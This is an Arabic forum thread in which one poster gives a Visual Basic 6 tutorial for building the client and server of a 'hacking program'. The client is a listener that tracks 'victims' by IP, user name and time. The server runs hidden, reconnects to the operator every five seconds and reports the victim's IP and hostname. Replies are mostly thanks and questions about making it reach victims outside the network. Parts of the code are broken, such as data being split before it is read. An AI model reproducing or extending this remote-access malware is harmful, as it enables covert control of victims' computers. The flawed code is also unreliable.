المساعد الشخصي الرقمي

مشاهدة النسخة كاملة : صنع برنامج اختراق عميل+خادم



BlAcK HuNtEr
09-14-2012, 06:11 PM
بسم الله الرحمن الرحيم
الحمد لله رب العالمين ، والصلاة والسلام على أشرف الخلق وأعز المرسلين وبعد،،
موضوعنا اليوم باين من عنوانه
سنشرح صنع واجهة برنامج اختراق ( عميل + خادم)

-: العميل :-
نشغل برنامج الفيجوال بيسك

الأدوات
ندوس كليك شمال على الـ Tool Bar

نختار بعدها Components
http://members.multimania.co.uk/masrcite/PC%20PRO/waghah/C/1.jpg
نختار اداتين
http://members.multimania.co.uk/masrcite/PC%20PRO/waghah/C/2.jpg
اول اداه و اسمها

Microsoft Windows Common Controls 6.0

و تانى اداه و هيا الوينسوك و طبعا دى مشهوووووووره جدا للكل و الكل عارف ايه استخداماتها

Microsoft Winsock Control 6.0


نضيف اداه List View و اداه Winsock كما موضح بالصوره
http://members.multimania.co.uk/masrcite/PC%20PRO/waghah/C/3.jpg
نركز هنا بقى شويه لأن النقطه دى مهمه جداااااااااا

نختار اداه الوينسوك و نعدل كلأتى

Name : Sock
Index : 0
http://members.multimania.co.uk/masrcite/PC%20PRO/waghah/C/4.jpg
و بعدها نختار اداه الليست فيو

و نعدل عليها

Name : lstvict
http://members.multimania.co.uk/masrcite/PC%20PRO/waghah/C/5.jpg
و بعدها ندوس زرار Custom

نعدل اعداداتها بالظبط زى ما هو باين ف الصوره
http://members.multimania.co.uk/masrcite/PC%20PRO/waghah/C/6.jpg
و بعدها ندوس على زرار Column Headers

نيجى بقى لتقسيم الليست بتاعتنا عشان تظهر فيها معلومات السيرفر

ندوس على insert column
http://members.multimania.co.uk/masrcite/PC%20PRO/waghah/C/7.jpg

رقم 1 ده هيبقى اسم الخانه اللى هيظهر فيها رقم الضحيه
http://members.multimania.co.uk/masrcite/PC%20PRO/waghah/C/8.jpg
و نرجع تانى ندوس على insert Column

و نضيف
IP
و بعدها insert Column
و نضيف
User Name
و بعدها insert column
و نضيف
Time

و ملحوظه كدا صغيره

Width ده يبقى عرض الخانه
http://members.multimania.co.uk/masrcite/PC%20PRO/waghah/C/9.jpg
عشان ننسق الخانات بالتساوى و عرضهم يبقى قد بعض

انا مثلا خليت عرضهم
1653.73

هيظهر لنا بالشكل ده
http://members.multimania.co.uk/masrcite/PC%20PRO/waghah/C/10.jpg
كدا خلصنا من الوينسوك و الليست فيو

نضيف تكست
http://members.multimania.co.uk/masrcite/PC%20PRO/waghah/C/11.jpg
و نسميه
Sck

و نخلى القيمه

Visible = False

لحد كدا و تمااااااااااام اووووووووووووووى و خلصنا من كلللللللل الأدوات (( الخاصه بالعميييل ))

-: الأكواد :-

كود التصريحات العامه

Dim SckNumber As Integer
كود الفورم لود

SckNumber = 0 ' تصفير المتغير SckNumber

Form1.Sock(Index).Close ' قفل الوينسوك و قطع اى اتصال

Form1.Sock(Index).LocalPort = 5100 ' تحديد البورت المناسب للوينسوك

Form1.Sock(Index).Listen ' بدايه الأنصات
-: اكواد الوينسوك :-

ف الوينسوك يوجد اجرائات متععده

ما هوا الأجراء و ما هى الأداه؟؟
http://members.multimania.co.uk/masrcite/PC%20PRO/waghah/C/Egra2.jpg
نختار الأجرائين

Close
Error

'''''''' قطع الأتصال من الخادم المغلق''''''''''
Sock(Index).Close
For z = 1 To lstvict.ListItems.Count
lstvict.ListItems.Remove lstvict.ListItems(z).Index
Next z
'''''''''''''''''''''''''''''''''

connectionRequest الأجراء

On Error GoTo Err:
'''''''''قبول الأتصال و اضافه وينسوك جديده''''''''''

Dim InServer As Long
ConnectionAttempts = ConnectionAttempts + 1
If Sock.UBound <= 1 Then
InServer = lstvict.ListItems.Count + 1
Else
InServer = Val(lstvict.ListItems(lstvict.ListItems.Count).Sub Items(0)) + 1
End If

Load Sock(InServer)
Sock(InServer).Accept requestID
Sock(InServer).SendData "v1ct1m"
Exit Sub

Err:
On Error Resume Next:
Unload Sock(InServer) ' مسح الوينسوك عند حدوث اى خطا
'''''''''''''''''''''''''''''''''''''''''''''''''' '''''''

Dim All_data As String, NData() As String


Sock(Index).GetData All_data, vbString
IndataCompressed = Round(IndataCompressed + (((Len(All_data) / 4) * CompressLevel) / (1024 ^ 2)), 8): IndataNormal = Round(IndataNormal + (Len(All_data) / (1024 ^ 2)), 8)
NData = Split(All_data, "[\SC/]")

Select Case NData(0)

Case "v1ct1m"
lstvict.ListItems(index1).ListSubItems.add index2, , Ndata(index3)
newItem.ListSubItems.Add , , NData(1)
newItem.ListSubItems.Add , , NData(2)
newItem.ListSubItems.Add , , NData(3)

End Select
الرجاء الانتباه للكود التالي

Ndata = Split(All_Data, "[\SC/]")
معنى الكود هو:يقسم المعلومات اللى واصله من الخادم و بيظهرلنا اللى احنا عاوزينه بس

Split : كود التقسيم
All Data : الداتا اللى بتوصل من الخادم
[\SC/] : الكلمه اللى بتفصل بين الدليل و المعلومات

يعنى مثلا

نتفرض ان الكود

Dim rEdwolf() , Visual As String

rEdWolf = Split(Visual,"|")
و نفترض ان Visual

msg|ahmed
و عاوزين نظهر ده ف مسج بوكس

هيبقى كودنا
Msgbox rEdW0LF(1)

rEdWolf لتقسيم المعلومات
و رقم 1 ده يبقى رقم الداتا

ياريت بجد اكون قدرت اوصل وظيفه الكود


بكده العميل اصبح تمااااااااااااااااااااااا ااااااااااااااااااااااااا اااااااااااااااام



-:السيرفر:-

الأدوات

نضيف الأدوات كما بالصوره
http://members.multimania.co.uk/masrcite/PC%20PRO/waghah/S/1.jpg

txtip : الاى بى الخاص بالعميل
txtport : البورت
sock : الوينسوك
Timer1 : التايمر اللى هيقوم بعمليه الأتصال و هنخليه يجرب اتصاله كل 5 ثوانى

و نخلى القيمه Visible = False

http://members.multimania.co.uk/masrcite/PC%20PRO/waghah/S/2.jpg
و بكده خلصنا ادوات السيرفر


الأكواد

كود الفورم لود

Timer1.Interval = 5000
اكواد الوينسوك

الأجراء

Close
Error


Sock.Close
الأجراء DataArrival
(البيانات اللي بتوصل من العميل)

Dim Ndata() As String, All_Data As String
'تقسيم المعلومات

Ndata = Split(All_Data, "[\SC/]")
Sock.GetData All_Data
Select Case Ndata(0)
Case "v1ct1m"
'استقبال معلومات الخادم

TMPSTR = "v1ct1m"
TMPSTR = TMPSTR & "[\SC/]" & Sock.LocalIP
TMPSTR = TMPSTR & "[\SC/]" & Sock.LocalHostName
TMPSTR = TMPSTR & "[\SC/]" & Time
Sock.SendData TMPSTR

End Select
و اخيرا كود الـ Timer

If Not Sock.State = sckConnected Then
Sock.Close
Sock.Connect txtip, txtport
Else

Exit Sub
End If
الآن خلصنا واجهة البرنامج(عميل +خادم)
http://members.multimania.co.uk/masrcite/PC%20PRO/waghah/C/12.jpg
ومبروك عليك أصبحت مبرمج ههههههههه
ملاحظة //////
الموضوع منقول للفائدة العامة

مشاري احمد
09-14-2012, 06:20 PM
اتشرف بان اكون اول من يرد ع موضوعك
تنسيق ابداع تمييز
يعطيك الف العافيه تقبل مرورري يالغلا

BlAcK HuNtEr
09-14-2012, 06:23 PM
اتشرف بان اكون اول من يرد ع موضوعك
تنسيق ابداع تمييز
يعطيك الف العافيه تقبل مرورري يالغلا

مشكور يالغالي على المرور العطر ،

يارب رحمتك
09-15-2012, 05:48 AM
بارك الله فيك ...

بآلتوفيق ..!!

سارة الغامدي
09-15-2012, 05:53 AM
يعطيك العافية

مصرى
09-15-2012, 06:31 AM
أقل ما يمكن ان يقال
شرح رائع وبارك الله فيك اخى

M.Bomb
09-15-2012, 12:08 PM
موضوع راائع جدا يستحق التقييم ......

BlAcK HuNtEr
09-15-2012, 02:47 PM
حياكم الله ،، نورتونا بمروركم العطر

BlAcK HuNtEr
09-15-2012, 02:49 PM
بارك الله فيك ...

بآلتوفيق ..!!
تسلم أخي ،، حياك الله

BlAcK HuNtEr
09-15-2012, 02:53 PM
يعطيك العافية
شكرا على المرور العطر
حياكم الله

BlAcK HuNtEr
09-15-2012, 02:54 PM
يعطيك العافية
شكرا على المرور العطر
حياكم الله

BlAcK HuNtEr
09-15-2012, 02:58 PM
بارك الله فيك ...

بآلتوفيق ..!!
مشكور يالغالي على المرور الطيب ،، حياك الله

هكر مع الاسلام
09-18-2012, 09:24 PM
شكرا على الطرح الاكثر من رائع

L0RD0FH3LL
09-18-2012, 10:49 PM
مشكور طبعا على هذا الشرح الرائع..
ولكن انا عندي visual basic Express 2010 اين اجد الcomponents ??

forget all
09-18-2012, 11:23 PM
تم الدعس بخمسة نجوم مشـــــــــــــــــــــــ ـــــــــــــــــــــــــ ــكور

sarahassan
09-30-2012, 09:29 PM
يسلموووووووووووو

مهكره ذوووق
10-01-2012, 08:15 AM
يسلمؤؤؤؤؤؤؤؤ ع شرح

samir123
10-03-2012, 04:27 AM
مشكورررر اخي بارك الله فيك

Timoosz
10-18-2012, 06:58 AM
يسلموُ علىٌ هــالشرحُ....
واصلُ..~~>

mohammad_almomani
10-24-2012, 04:00 PM
موضووووع جميل واكثر من راائع ^__^

ZTE-USB
10-24-2012, 05:51 PM
بارك الله فيك ابداع وتوضيب جيد جدا

blackme
10-28-2012, 10:51 PM
مشكورٌ..~>بارك الله فيك

hell_man
10-29-2012, 01:58 AM
شكرا استفدت منك كثييييييييييييييييييييييي يير كنت ادور على كذا شرح

نــوت
11-08-2012, 01:21 AM
مشـــــــكور شرح وافي وكافي

بس عندي سؤال :

هل يصل التبليغ الخارجي ؟

- - - تم التحديث - - -

+ كيف يوصل التبليغ !!

كلشي عندي أوك بس وين السيرفر !!

لؤي علي
11-20-2012, 10:03 AM
الففففففففففف شكررر